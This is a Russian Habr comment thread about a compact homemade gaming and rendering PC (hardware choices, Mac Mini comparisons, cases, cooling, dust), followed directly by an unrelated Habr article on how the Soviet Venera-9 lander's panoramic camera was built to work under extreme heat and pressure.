С охлаждением все ок. После пары-тройки часов в шутер, карта греется чуть-чуть, но не смертельно. Я думаю, что это сам по себе Radeon HD 6970 так работает. Процессор всегда холодный даже после долгого рендера.
PaulOkopny
Есть ли у вас сравнение по производительности с серверным Mac Mini (в текущей линейке это MD389LL/A)? Просто тоже вынашивал идею собрать компактный сервер самостоятельно, но в итоге выходило по комплектующим дороже чем Mac Mini (даже если свой труд считать бесплатным), при том что по шуму и энергопотреблению с ним не посоревнуешься.
ilyafd
Видео там дохлое. Тут автору нужен быстрый рендер, как я понимаю.
И вообще, у меня Mac mini 2011 — жутко недоволен производительностью, но может быть проблемы решаются установкой SSD…
Nulldevice
А мне как раз наоборот нужен маленький сервер — shared disk, Confluence, JIRA, svnserve, хост для виртуальных машин под parallels. Графика значения большого не имеет.
egormerkushev
Если размер мини не критичен, посмотрите на HP 8300 SFF, 32Гб туда точно влезает, куча места для апгрейда по стораджу и PCI-E
oyster
Не стоит забывать, что в Mini стоит мобильная версия процессора а у автора десктопная. Это, как ни крути, две большие разницы для ресурсоёмких задач.
Nulldevice
Эту? И во что вы предлагаете играть на Intel HD Graphics 4000?
BVadim
Если не увлекаться средними настройками

fixed ftw
vvzvlad
вот хабрабыдло лютует. За абсолютно адекватный комментарий без всяких холеваров заминусовали, еще и в карму насрать не забыли. А всего лишь написал факт из личного опыта, да.
Еще одна наглядная демонстрация, что идея кармы — дерьмо, и лучше вообще ничего не писать. В крайнем случае — переводы статей от К.О. Ведь всегда найдется стайка неадекватных фанатиков, которым что-нибудь не понравится
BVadim
Вот уже дошли до «хабрабыдла», а FPS на 1920x1080 с максимальными настройками в приличной игре на HD 4000 так и не привели.
Я уверен, что Starcraft 2 покажет меньше 10
amc
>FPS на 1920x1080 с максимальными настройками
вам бенчмарки или играть? Второе можно делать и на средних настройках. UT3 работает, проверено
vvzvlad
Может открою для вас секрет, но сейчас даже Photoshop умеет использовать видяху для ускорения расчетов. Не говоря о 3D софте. И разницу между разогнанным i7-2600K и обрезком который ставится в mac mini (или ноуты) будет заметна невооруженным взглядом, даже без поддержки топовой внешней видяхи.
Nikolay45
Причем тут бенчмарки, Вы обратили внимание, что у автора и так уже были топовые ноуты. И что он решил сделать свой комп, именно после того, как попробовал стационарник с нормальным железом у своего друга.

Понимаете всё познается в сравнении, если Вы о скорости mac mini судите по своим старым ноутам или компам, то он может казаться вполне быстрым, но когда попользуетесь нормальным стационарником, то вполне возможно измените своё мнение.

Я к примеру собираю свои компы сам, и в последние лет 5 особое внимание уделяю тишине компонентов. И помнится знакомые крутили у виска когда я рассказывал, что купил к компу блок питания SeaSonic за 160 баксов, плюс корпус за 200 баксов, плюс поменял все вентиляторы на Noctua, и т.п. Но в итоге 4 ядерный комп с мощной видяхой работал настолько тихо, что приходилось открывать боковую крышку, чтобы продемонстрировать, что он действительно работает. Теперь же знакомые просто просят и себе сделать аналогичный комп.
LeonidZ
Так автор вроде и не для вас комп собирал. Никто же не спорит, для кого-то поиграться — это Angry Birds популять, а для кого-то Crisys 3 причем на максимальном качестве (а не абы как). Есть же люди которые до сих пор смотрят экранки фильмов, и их вполне устраивает, а кто-то ничего хуже лицензионного 1080p не смотрит.
FFF
Вы будете удивлены, но разница 1.5% без внешнего видео и на номинальных частотах:
www.cpubenchmark.net/cpu.php?cpu=Intel+Core+i7-3720QM+%40+2.60GHz
А при учете HD4000, со встроенным видео он уделает i7-2600K.
adminimus
А ничего, что вы сравниваете процессоры разных поколений? Вы сравнивайте с миником 2011 года. Сейчас бы автор взял i7-3770K, а он даже без разгона процентов на 30-40 будет быстрее. Да и опять же забываете про разгон.
Что касается HD4000 то сравнивать его с топовой однопроцессорной видяхой, это вообще смешно.
anmi
Извините, но вы же сами сравнили его с 2600K. Что касается 3770K, то без разгона он быстрее всего на 15%.
adminimus
Хм, а какой смысл покупать процы сделанные для разгона, и не разгонять их? :) Что касается мак мини, то cpubenchmark не совсем адекватный. Вот к примеру тест в реальном приложении, Photoshop — i7-3720QM выполняет тест за 30,1 секунду, а i7-2600K (даже без разгона) тот же тест выполняет за 19,7 секунд. Т.е. уже в 1,5 раза медленнее
i7-3720QM против i7-2600K
lostmsu
Вообще, чел собирал себе его не для игр, а для конкретных задач.


Ну, а как некое хобби — люблю часок-другой поиграть в хороший шутер.


adminimus
Да нет, это не эплоненавистник. Это у вас проблемы с фанатизмом.
Просто раздражают недалекие люди, которые суют apple во все места, утверждая что оно круче всего что придумало человечество…
Начнем с того, что в минике проц сильно слабее, продолжим видеокартой которая опять же гораздо слабее.
Опять же открытым остается вопрос с перегревом и тротлингом при длительной нагрузке.
Опять же при неудовлетворенности каким-то компонентом, например видеокартой, а они довольно активно развиваются, поменять ее не составит труда. Через некоторое время можно поменять проц, получив прирост производительности.

Так что далеко не всегда предмет вашего безудержного фанатизма будет идеальным решением.

Хотя есть варианты, когда миник очень неплохой выбор.
LeonidZ
Там мобильная версия, емнип. Только 2 ядра, 4 — это HT. И медленный жесткий. И разборка довольно нетривиальна.
zapimir
В 2012 версиях честные 4 ядра (i7-3615QM и i7-3720QM)
Всё остальное меняется не так уж и сложно.
egormerkushev
А те, которые с i5?
zapimir
На i5 двухядерники.
egormerkushev
Блин. Почему я денег пожалел.
zapimir
Турбо-буст вообще предназначен для разгона нескольких ядер, когда на других нет нагрузки (чтобы ускорить однопоточные приложения). Так что разгонять все ядра до 3,3 одновременно миник не сможет. В то же время для проца автора 3,4 ГГц это номинальная частота, а учитывая что, это проц с индексом K, то сам Бог велел его разогнать, и он спокойно сможет работать 4-4,5 ГГц.

И еще раз повторюсь, видяха мощная нужна не только для игр, очень много программ уже умеют их использовать, как числомолотилки, и в этом случае ваш миник уже будет проигрывать в десятки раз.

Вообще не понимаю, какой смысл советовать человеку какое-то решение, при том, что сами же говорите, что не решаете озвученные автором задачи на этом железе.
DEHiCKA
Я сам чуть не удержался, чтобы посоветовать. Уж больно железяка прикольная.
zapimir
Да никто не спорит, что железка прикольная, просто она не создавалась для высокой производительности.
DEHiCKA
Да знаю я. Но прикольная ведь! :)
zapimir
сам Бог велел его разогнать

Именно так и задумывалось. i7-2600K на этой материнке стабильно работает на 4 ГГц в разгоне. Но сделать это планировал чуть позже, если надо будет продлить ему конкурентоспособную жизнь.
zoo
шутки шутите
solver
Тоже сейчас на Sugo SG07 сижу, мечтаю собрать что-то типа нашумевшего Alienware X51™.

Никак времени нет заняться, а так все по-большей части упирается в БП и в гибкий переходник для PCI Express.

Для основы выбрал ультра компактный корпус miniITX LINKWORLD

БП есть небольшие китайские, по 450 W, есть аля серверные, тоже небольших размеров… был очень крутой от Silverstone, но с доставкой из штатов он будет стоить как новенький корпус Sugo SG07.

В общем за всем нужна активная охота, но все-равно когда-нибудь сделаю.
LeonidZ
В тему о компактных корпусах — могу посоветовать Cooler Master Elite 120. Немножко погабаритнее, чем Sugo SG07, но зато в несколько раз дешевле, даже с учетом покупки БП. Собрал в данном корпусе домашний NAS, качеством и комплектацией доволен на все 100%. Даже стильные черные стяжечки для кабель-менеджмента в комплекте есть :)
Скрытый текст
vvzvlad
Как он в плане шума? Сослан на кухню или почетно стоит в спальне? :)
DEHiCKA
До тех пор, пока не поставил на него рейд массив, он работал в качестве домашнего серверочка для всяких веб разработок. Была воткнута только SSDшка, материнка с впаянным Atomом без кулера, вентиляторы в корпусе отключил за ненадобностью. То есть никаких звуков он не издавал вообще :)
Сейчас все вентиляторы подключены, плюс 2 винчестера стоит. Шумит, как обычный офисный комп.
vvzvlad
В отличии от Sugo тут придется бок снимать, чтобы поставить хорошую видеокарту. К тому-же расположение под установку БП мне тут категорически не нравится. Но в общем-то с учетом разницы в цене это скорее мелочи. Жаль раньше не увидел.
DEHiCKA
Alienware вам не нравится из-за отстойной 1 видео карты? Странные они, Dell, делать игровой комп с таким видео.



Делали бы так цены бы им не было.
vvzvlad
> Делали бы так цены бы им не было.
Цена бы как раз была, но не всем бы понравилась.
zapimir
Да нет, Alienware всем хорош, просто захотелось свое собрать.
Люблю в железе ковырятся, ну и еще решил освоить для себя что-то новое и переделать корпус с притензией на авторский дизайн… Вот только уйду с работы. ))

Но правда заранее скажу, что все компоненты от него + дорогущий корпус Sugo вместе стоят тысяч на 15 дешевле и то если этот самый Alienware покупать не в России, а с доставкой из Штатов (например).
vvzvlad
Есть такой вот хороший шаттловский TFX: www.shopping.com/Shuttle-Shuttle-PC63-Power-supply-internal-ATX12V-AC-100-240-V-500-Watt-active-PFC/info
Если поискать, то можно найти ещё такой же, но на 600 ватт.
zapimir
Ага и еще 50-60 баксов за доставку платить? =)
Я как-то в q&a у народа спрашивал про TFX, дали пару неплохих вариантов где в России добыть, могу линк поискать
vvzvlad
Поищи. Я когда планировал всё это — вопрос цены вообще не стоял.
ilyafd
тут

Но это на 400-460, мне честно говоря больше и не требуется.
saintfr3ak
А вот топовому, особенно двухголовому радеону он может не понравится. И ещё SFX чуть больше, чем TFX и более «квадратный».
TFX же без корпуса, чаще всего — это небольшая платка с силовыми элементами.
saintfr3ak
Вам найти тесты HD6970 на настолько обычном для такой видеокарты процессоре как i2770k? Они будут отличатся от тестов этого железа не больше погрешности измерения.
maakros
Вы действительно думаете, что на результат любого бенчмарка влияет только видеокарта?
gregox
Если вы не заметили то тут кроме видеокарты и остальные компоненты вполне стандартные, и проц обычный, и память, и SSD как системный винт. Все эти компоненты уже протестили вдоль и поперек. Тем более что железо покупалось в 2011 году, и уже в ходу более новые железки.
maakros
А тесты внутренней температуры в зависимости от окружающей? Это существенный момент.
saintfr3ak
Когда собрал, мониторил систему стандартными утилитами (GPU-Z, CPU-Z, SpeedFan). И вообще, при выборе комплектующих была изучена масса информации по ним, поэтому сомнений в корректной работе агрегата не возникало (в том числе и температуры).
valiorik
Это и интересно — какие обороты у вентилятора, не вибрирует ли, какие это даёт температуры.
nochkin
Allplan
saintfr3ak
Для практического применения и конструирования все-таки полезнее изучать CADы, хотя бы отечественные нанокад и компас. А скетчап-это баловство всё.
SexTools
Да, согласен, но выбрал SketchUp, потому что он бесплатный. Я не использую 3D-редактор профессионально, и не готов выделить из бюджета сумму для покупок всяких там Solid Works и 3D Studio Max.
saintfr3ak
Эра законопослушания на хабре? Ок.
Большинство доступны в триал- или образовательных версиях, пусть и с ограничениями (за счет функций, не используемые 90% неспециалистов, либо заменяемых сочетанием других инструментов).
SexTools
А почему нет внутренних usb-разьёмов для мыше-клавиатурного приёмника и для WiFi? Не надоедает каждый раз вставлять и вынимать?
saintfr3ak
В принципе не надоедает, но согласен, внутренние usb-разъемы на материнке конечно же надо задействовать.
SexTools
Задействуйте, уж очень неказисто смотрится торчащий wifi адаптер.
avonar
Я до сих пор удивляюсь, почему подобные штуки не делают фирмы-производители корпусов. Их бы возможности, какую «конфетку» можно было бы сделать! И покупатели наверняка бы нашлись.

Делают. Похожий форм-фактор имеют пром. ПК. Но ценник там, конечно, будет совсем другой.

NermaN
В них, как правило, видео неигровое. Разница между HD4000 и hi end картой от AMD или NVIDIA просто монстроозная! Не говоря уже о X-fire / SLI.
avonar
Так тут скорее проблема в том, что вообще у нас народ не сильно охотно покупает дорогие корпуса. А любой компактный корпус будет значительно дороже китайских башен, т.к. нужно проектировать все его внутренности, а не просто пластиковые морды менять.
В штатах много прикольных mini-ITX корпусов встречается, но с учетом доставки дороговато получается.

В итоге собрал себе мелкий комп на Antec ISK 300-150, правда поскольку это не основной комп, то видяхой тут ограничился встроенной, а пустой слот занял современный спутниковый тюнер DVB-S2.
Да он побольше mac mini — 96mm (В) X 222mm (Г) X 328mm (Ш), но за счет классного кулера на проце, плюс трех вентиляторов на стенке (все вентили работает на 500-600 оборотов) он очень тихий и холодный.
avonar
большие мониторы


Подключение нескольких мониторов к ноутбуку — нетривиальная задача в большинстве случаев.
И видеокарты не просто не самые топовые — им очень далеко до топовых.
zapimir
У ноутбуков Lenovo есть неплохие док-станции с двумя DVI-портами. Для большинства случаев, думаю, этого хватает.
avonar
Вы статью читали у автора были топовые ноуты по 80 килорублей. И я ним согласен лучше толковый стационарник (собранный для себя), а для выездов можно купить простенький ноут или даже нетбук. Причем суммарно это получится дешевле, чем покупка топового ноутбука.
zapimir
Я не спорю со многими прелестями стационарного компа. Меня просто смущает этот довод, которого, по сути, и нет.
avonar
Какой довод вас смущает? Даже в теме написано «бескомпромиссная мощь», а ноутбучное железо это сплошной компромисс. Потому, что есть жесткие ограничения на отвод тепла.

Никто же не говорит, что всем нужна эта мощь, некоторым и планшета хватает вместо компа.
Usmekhaiouschiysia
… а для выездов можно купить простенький ноут или даже нетбук.

В точку — для выездов у меня планшет с windows.
ilyafd
Что в плане температурного режима?
Можете прогнать максимальный тест OCCT и опубликовать результаты?
Usmekhaiouschiysia
Тоько недавно чистил комп и забыл закрыть левую крышку. Через минут 15 кот уже боролся с процессорным кулером =). Судя по Вашему корпусу «проблема» домашних животных не стоит.
Derailed
Такой «проблемы» действительно нет.
ilyafd
Из оргстекла порезать бы корпус, выкройки выложить, но только бы без пайки видеокарты (+15 мм к высоте).
freeznah
Оргстекло — хороший материал для корпуса, можно сделать очень классную подстветку. Хотя и весит оно прилично. Красота требует жертв.
Derailed
Сам до сих пор сомневаюсь, из чего делать защиту сверху: из оргстекла или из полированного алюминия.
freeznah
Я бы делал из алюминия, выглядит очень стильно.
ragesteel
Вообще корпусс должен экранировать, т.е. проводить ток и быть заземлённым.
ilyafd
Картинки пропали. Дропбокс не выдержал.
lightman
Залейте на Яндекс.Фотки. Выдерживает любые нагрузки.
boramod
Есть же habrastorage.org/ для этого
valiorik
Слишком минималистично для меня. =)
zapimir
Опередили
nayTuHbl4
да, дропбокс оключил шареные ресурсы)))
NermaN
На фотках в видюху не вставлено дополнительное питание.
Без него-то конечно все идеально и ровно (8
nayTuHbl4
Он написал же что припаял его, чтоб разъем не торчал.
zapimir
А, ну извиняюсь тогда. Как-то пропустил.
nayTuHbl4
А можно показать узел где сходятся три уголка крупным планом? Интересно, как это можно цивильно исполнить; все варианты которые мне в голову приходят выглядят не очень.
zapimir
Залил заново картинки — смотрите сборочный этап.
ilyafd
Не вижу. Интересует именно крупный план.
Compazavr
А можно подробнее узнать про вес? "+-100 грамм от ноута" — это понятно, а конкретнее в цифрах можно, хотя б приблизительно? А то ноуты тоже разные бывают.
ithabr
Вес — 4,1 кг.
ilyafd
Теперь еще к нему акриловые стенки добавить. Заказать лазерную резку. Она, вроде, от 40 рублей за метр стоит, но цена зависит от толщины материала
psman
А ну найдите мне ноут с видяхой эквивалентной AMD Radeon HD 6970, еще и за 40 килорублей. Посмеемся вместе.

И сколько можно про бонус в виде работы от аккума, этот бонус достигается тем, что обычная работа будет в несколько раз медленнее. Или вы вообще не допускаете мысли, что можно купить более одного компа?
valiorik
С видеокартой и правда промахнулся =)
Просто таскать с собой хоть и компактный, но всё же «гробик» как-то… и как-то именно это не стыкуется с покупкой более одного компа. Просто я в своё время перешёл на ноуты, сейчас два — домашний и рабочий. Ну и мобильность, когда надо, например, в машине или командировке что-то быстро сделать (но не настолько быстро, чтоб ковыряться с планшета).
Но и мне такие мощи не нужны. Каждому своё
ilyafd
Штучка крутая, но не очень представляю, как все это возить каждый день на работу.

Ездить каждый день на машине — скучно, а в других условиях утройство вряд ли выживет. Все-таки в этом плане с ноутбуком попроще.
xxxFeLiXxxx
У меня вот в планах на это лето собрать подобную полезную игрушку, но не для того, чтобы с собой носить, а чтобы в машину впихнуть (вместо штатной магнитолы поставить тачскрин, в багажник проектор с хорошим звуком, видеокамеры и прочее)… Мне бы ваши навыки работы в трехмерном пространстве… :) А то придется все делать сразу в живую… :(
vsespb
У меня «мобильность» ассоциируется еще и с «автономность», сначала подумал, что оно умеет и автономно работать)
Tmix
Черная изолента стоит столько же, сколько и синяя.
Tmix
Но она же хуже)
zapimir
Для тех, кто не готов пилить/строгать, но хочет ними систему игровую, смотрите корпус SilverStone SG05В — у него 2 слота под видеокарту и влезает все нормально
Tmix
Скажите, пожалуйста, а какова масса данной сборки?
Dima_Sharihin
Вес — 4,1 кг.
thunderspb
Ну надо было доводить до конца, в боковую стенку поставть заглушку на 2 USB порта и воткнуть WiFi адаптер в него:

Ин бефор пейнт гуру, уж извините, как сумел в час ночи.
valyard
Респект таким пацанам, которые даже без корпуса могут собрать компьютер!
valyard
Подскажите, а где покупали комплектующие?
mejedi
А смысл? Он не защищен от пыли и от механических воздействий, что особенно важно раз вы собираетесь его постоянно с собой возить. Через полгода, готов поспорить, от засорения начнутся проблемы и хорошо если просто загнется комп (выше писали про БП)
ilyafd
Не рискуйте спорить, компьютеру гораздо больше полугода и до сих пор все в порядке. Открою Вам страшную тайну — я его периодически чищу.
mejedi
У меня похожая беда, надо чтоб очень компаткное железо ездило в автомобиле и собирало куча разной информации, от видеоряда с камер до показаний датчиков в подвеске авто. при этом ни монитора ни клавы ничего… при этом чтоб на него сотрудники не пролили пиво или девушка гостья своим длинным каблуком не проломила чего…

видеокарта мне не нужна, собирал похожее на тойже самой матери, с встроенной графикой на i3

Перебрал почти все компактные корпуса mini-itx типо таких (вроде 6см в высоту он)


который при желании можно уменьшить ещё на 30% в высоте.
Но вот собрать из Алюминиевых пуголков\профилей как-то не дошло до…
ух… спасибо за статью
deniszh
вот так мне кажется получше было бы (примерно 110$ вместе с доставкой)

а не хотите написать о том как реализовали свой car pc и что за датчики подвески? думаю многим может быть интересно.
ilyafd
Да и такие корпуса где я только не искал их, как первые появились — казалось вот оно щааастье, они стоили по 200-300 баксов, сейчас уже есть выбор есть и китайские. подешевле. находил готовые системы на них

про карписи, нет там обычный 2003й сервер с скул сервером (не моя идея это но так исторически сложилось). «дорожная лаборатория» снимает дорогу на видео + регистрирует уклоны, пишет колебания подвески (моста оси)
писать смысла нет сильно специфичная тематика(ну и конкуренты ж круго, что продают лаборатории по 12-15млн :)))) )., в скул собирается вся информация по знакам\ограждениям и прочим объектам…
дорог очень много грунтовых, большая тряска пыль грязь…
kottt
«Я достаточно тесно связан с работой в трехмерном пространстве»… фейспалм… Ога я тоже. С рождения живу и работаю в трёхмерном пространстве.
v_poroshok
Что то не понятно. Все кулеры дуют внутрь. Кулер бп понятно, там есть куда выводить поток, видеокарта тоже наверное наружу выдувает. А поток с процессора где выходит?
zapimir
Единственное что мне лично не нравится в этой конструкции — торчащий с лицевой панели кабель питания.
v_poroshok
Тоже в начале прошлого года собрал систему в SUGO SG07, но он мне обошёлся всего в 3000 рублей и покупался в магазине в Краснодаре.
Правда видеокарту купил только летом и обнаружил, что AXP-140 не позволяет подружить маму F1A75-ITX с видеокартой — взял Cooler Master на замену.
Кстати, SUGO выигрывает за счёт посадочных местах под жёсткие диски, у меня там стоят:
1) SSD под основную систему.
2) Ноутбучный HDD под игровую.
3) Нормальный ёмкий HDD под данные.

Ещё у меня до этого был низкопрофильный корпус со всеми вытекающими отсюда проблемами в виде поиска TFX БП и низкопрофильной же видеокарты. Очень хотел собрать какой-нибудь десктоп, но чтобы влезала Radeon HD 69xx/79xx.
Долго думал о серверных 1U корпусах, но там опять же всё упёрлось в гибкий шлейф PCI-E и необходимость поворота видеокарты 180 градусов.
Может быть позже соберу. )
bpeme4ko
А на Московском никсе за 7 тысяч SUGO SG07 продали, ироды
denisemenov
С таким прототипом хоть сейчас на Инстаграм.
ViGilant
Как же я давно тебя искал!
BorodinKO
wifi нужно было спрятать внуть подключив прямо к юсб хабу на материнке.
а я неделю назад переехал в ms800 plus заправил свою водянку туда и доволен.
Seekeer
А нельзя ли все это покрыть к примеру жестью или пластиком с отверстиями? Еще можно было бы присверлить небольшую ручку и выглядело бы почти как небольшой чемодан.
psman
Тоже не понимаю почему нет ультра компактных и бесшумных систем. Так что решил замутить корпус самостоятельно. Сейчас готов набросок(жизнь без знаний 3д моделинга не легка)) потом куплю более массивные деревяшки, буду делать на чистовую, а заключительным элементом станут шпонированные панели, таким образом получится еще и стильно.

Однако стандартизировать такие штуки действительно сложно, либо ультра компакт под конкретную сборку(все жду нового поколения железа, жутко хочется короткую мамку и TFX блок питания на 350Вт, под среднюю бесшумную видюшку самое то) либо толстая дура, ни чуть не лучше той что в магазине.

lh6.googleusercontent.com/-ha0wGsyAgVA/UTdfHEZ-4HI/AAAAAAAAEUM/4sxWwLBI1xo/s1000/IMG_0502.jpg
tant123
порты вверх плохая идея, собирают пыль быстрее.
ilyafd
Во первых крышка будет на слайдах, плюс потоки воздуха, да и вообще проблема надуманна
www.overclockers.ru/images/lab/2010/03/05/200_silverstone_fortress_ft02_inside_big.jpg
amc
Потоки воздуха не сдувают пыль… ну обычно на тех коммутаторах где порты вверх они горят чаще у нас. У того что вы дали сверху еще пылевой фильтр.
SBJoker
Может у вас пыли много? У меня вместо фильтров будет плотная сборка и воздуховыводы вбок, плюс ионизатор\увлажнитель в комнату обязательно.
BlessMaster
Пыль есть везде кроме специальных помещений где имеются устройства для борьбы с нею. Большой долей пыли являются отмершие клетки вашего эпителия. Ходите еще в лабораторной амуниции на всякий случай.
ring0
Мысль в копилку.
Если данный системник используется только на работе и дома, то можно существенно уменьшить его размеры, сделав выносной блок питания. Блок питания можно вмонтировать в стол. Один БП на работе, другой дома. Я так с ноутом поступил, БП не таскаю. Конечно, у ноута есть аккум, но идея не плоха, согласитесь. Придумать для подключения какие-нить салазки, а-ля Mobile Rack, чтобы с проводами не морочиться постоянно.
yvanko
Такая штатная штука есть от производителей — док-станция. Покупая ноут, смотрю на её наличие. По одной домой и на работу — вуаля, решение!
Автору спасибо, воодушевил, попробую сделать такой же, но поплоще, видяху через рейсер и набок её…
ilyafd
Попытался повторить ваш подвиг на имеющихся деталях, ничего не модифицируя (чтобы после летних разъездов вернуться в старый корпус).

1) на полноразмерной ATX-плате результат куда менее впечатляет:) С другой стороны, готовых корпусов компактнее всё равно не бывает.
2) на некоторых платах разъёмы SATA выходят не перпендикулярно поверхности платы, а параллельно, в бок, что очень сильно раздувает габариты без какого-либо смысла.
3) сборка на болты и гайки более надежна, но менее удобна (сложнее разбирать во время примерок; гайки занимают много места внутри конструкции, не давая упереть комплектуху в уголки). Заклепки же… только если ясно, что всё удалось и система в ближайшее время меняться не будет.
4) почти везде в компьютере резьба не метрическая, а UNC #6. В шаговой доступности таких метчиков нет.
5) если не убирать крепежные планки на PCI/PCI-E платах, их установка становится о-очень занудной, нужно выпиливать в уголках щели, приделывать уголки за пределами основного корпуса и т. п.
6) на той плоскости, которая станет дном корпуса, можно использовать не болты, а шпильки (болты со срезанными головками) с колпачковыми гайками — получаются отличные ножки.
7) до некоторых монтажных отверстий на материнской плате не дотянуться даже с уголка 20х20. По-хорошему, ей нужна backplate.
8) при укорачивании проводов питания можно сэкономить время и силы, вместо пайки используя гильзы и пресс-клещи.

В целом, результатами разочарован, но выхода нет — даже получившегося уродца возить проще, чем Chieftec DX-01:)
odmin4eg
Виноват, DA-01.
Когда мы слышим «фотография с поверхности другой планеты», то первым на ум, как правило, приходит Марс. Оно, конечно, и не удивительно: в последние годы мы избалованы стереоскопическими снимками HRSC, панорамами HiRISE с огромным разрешением, и марсоходом Curiosity с почти ежедневными фотоотчетами. И даже когда речь заходит об истории вопроса, вспоминаем успех американских миссий «Викинг». Но мало кто помнит (или даже знает) о том, что первая в истории фотография с поверхности другой планеты получена не на Марсе и не американским аппаратом, а советской станцией «Венера-9» в 1975 году.

В этом топике я хочу восстановить историческую справедливость и рассказать о том, как советским инженерам удалось создать устройство, которое успешно осуществило панорамную съемку в условиях крайне агрессивной среды при температуре более 470°С и давлении в 93 атм.




История советского успеха в изучении Венеры описана достаточно неплохо (да хоть в Википедии), поэтому я обозначу лишь основные вехи:
  • В 1961 году был отправлен первый в истории человечества аппарат, предназначенный для исследования других планет, «Венера-1».
  • 1967 год — «Венера-4» стала первым аппаратом, проникшим в атмосфру планеты и передавшим оттуда научные данные.
  • 1970 год — спускаемый аппарат «Венера-7» совершил мягкую посадку на поверхность Венеры, информация передавалась 53 минуты, в том числе 20 минут — с поверхности (это первый случай радиосвязи с поверхности другой планеты).
  • 1975 год — первые черно-белые панорамные изображения с поверхности другой планеты («Венера-9, 10»).
  • 1982 год — впервые были получены цветные изображения поверхности и проведён прямой анализ грунта планеты («Венера-13, 14»).

Итак, к моменту запуска «Венеры-9» у советских ученых было достаточно информации о тех условиях, в которых предстояло вести фотосъемку: в первую очередь, это параметры температуры и давления, необходимые для правильного расчета инженерных конструкций (до «Венеры-4» давление атмосферы считалось равным 10 атм, что привело к разрушению этого спускаемого аппарата еще до достижения им поверхности планеты), а также параметры освещенности для корректной настройки фотоаппаратуры (так, из-за неправильных выдержек фотоснимки с «Марса-2» и «Марса-3» практически не представляли научной ценности).

В состав научной аппаратуры спускаемого аппарата «Венера-9» входили: системы измерения температуры и давления, масс-спектрометр для определения химического состава атмосферы, акселерометры, нефелометры (2), фотометр для исследования светового режима (3 полосы в видимой области + 2 ИК в трех телесных углах), фотометр на полосы поглощения CO2 и H2O, анемометр, гамма-спектрометр для определения содержания естественных радиоактивных элементов в венерианских породах, радиационный плотномер для определения плотности грунта в поверхностном слое планеты, панорамные телефотометры (2).




Для получения изображения поверхности Венеры в месте посадки спускаемого аппарата панорамная камера устанавливалась в герметичном приборном отсеке, в котором в течение длительного времени обеспечивались нормальные условия по температуре и давлению. Кроме того, необходимо было создать «оптическое окно» к поверхности Венеры, где давление могло достигать 100 атм, а температура 500°С, и не допускать их влияния на камеру. Эти обстоятельства требовали целого ряда оригинальных технических и конструкторских решений. Так, за двое суток до подлета к планете производилось внутреннее захолаживание системы (до -10°С). Для стабилизации внутреннего температурного режима во время работы на поверхности использовались сотовые композитные материалы с малой теплопроводностью, экранно-вакуумная изоляция, аккумуляторы тепла из тригидрата азотнокислого лития, обладающего высокой удельной теплоемкостью и температурой плавления ~30°C. После 75-минутного спуска и часовой работы на поверхности Венеры, температура внутри спускаемого аппарата поднялась с начальных -10°C до 60°C.

Существенное влияние на конструктивно-компоновочную схему оказал комплекс задач, связанных с обеспечением необходимого поля зрения камеры и разрешения на поверхности. В НПО им. Лавочкина (разработчик аппарата) было признано наиболее целесообразным расположить камеру в верхней зоне приборного контейнера. Однако ввиду необходимости передачи изображения как ближнего, так и дальнего плана ось панорамирования камер была наклонена на 50° к вертикальной оси посадочного аппарата. При этом минимальное расстояние от поверхности до камеры составляло около 1 м. Таким образом в поле зрения камеры должна была попасть часть устройства с нанесенными на нее тестовыми контрастными изображениями. Такое расположение камеры позволяло получить изображение поверхности при малой прозрачности атмосферы и определить фотометрические характеристики поверхности планеты, а также в случае благоприятных метеоусловий получить панораму, охватывающую значительную площадь поверхности Венеры.

В месте установки камеры со стороны наружной части приборного отсека располагался оптический иллюминатор цилиндрической формы:



Иллюминатор был изготовлен из толстостенного кварцевого стекла толщиной 10 мм с фокусным расстоянием 371 мм и светопропусканием 95%. Внутри цилиндрического иллюминатора было расположено перископическое устройство камеры со сканирующим зеркалом. Тем самым основные тепловые потоки, проникающие через иллюминатор, воздействовали только на верхнюю часть камеры, не достигая электронной аппаратуры.

Для обеспечения заданного теплового режима и исключения влияния высокой температуры на аппаратуру камера и иллюминатор были закреплены в приборном отсеке при помощи нетеплопроводных и теплопоглотительных конструктивных элементов. Иллюминатор был закрыт мощной теплоизоляцией, за исключением смотрового выреза‚ обеспечивающего необходимое поле зрения. Смотровой вырез, в свою очередь, был закрыт теплоизоляционной крышкой, которая с помощью пироустройств сбрасывалась после посадки. Этим обеспечивался, во-первых, тепловой режим камеры во время снижения, а во-вторых‚ защита стекла иллюминатора от возможного закопчения, осаждения и конденсации на нем продуктов газовыделения теплозащиты и каких-либо непрозрачных осадков из атмосферы Венеры.

Поскольку у советских инженеров имелся большой положительный опыт использования оптико-механических панорамных камер на лунных аппаратах, как неподвижных («Луна-Э», «Луна-13»), так и подвижных («Луноход-1», «Луноход-2»), а оптические и электрические характеристики этих камер в целом соответствовали потребностям венерианской миссии, было решено использовать именно их. Единственное, в отличие от лунных камер, работавших непосредственно во внешней среде, в данном случае была предусмотрена защита от особо жестких климатических воздействий на Венере.

Сборка камеры:



В оптико-механической панорамной камере используется принцип сканирующего телефотометра. Основные элементы камеры и их установка на аппарате:



Как уже говорилось выше, камера была расположена внутри герметичного и теплоизолированного корпуса. Съемка поверхности производится через цилиндрический иллюминатор, внутри которого установлено сканирующее зеркало и элементы его привода. Обзор окружающей поверхности в номинальном угле 40х180° осуществляется за счет двух движений сканирующего зеркала — вращения вокруг оси панорамирования и качания в плоскости, проходящей через эту ось. Для повышения надежности получения изображения в условиях пониженной освещенности или очень малых контрастов снаружи были установлены два источника искусственного света, освещающих локальные зоны поверхности в двух секторах панорамы.

Устройство камеры:





Конструктивно камера разбивается на две части: основной корпус и перископическое устройство. Перископ выносил за пределы теплоизоляционных оболочек сканирующее зеркало и располагается в зоне, где температура могла достигать 475°С. Основной же корпус с электронными блоками и оптической системой находится в зоне, где рабочая температура не превышала 40-50°С. Перископическое устройство выполнено в виде тонкостенной трубы из материала с низкой теплопроводностью. Качание зеркала от кулачка и толкателя производилось через проволочную тягу длиной 250 мм. Труба перископа, вращавшаяся при панорамном обзоре, была установлена на шарикоподшипниках, между которыми был расположен радиатор, обеспечивающий передачу тепла на корпус. В самом корпусе по всему периметру были сделаны герметичные полости, заполненные тригидратом азотнокислого лития, обладающим большой теплоемкостью.

Оптическая схема камеры:



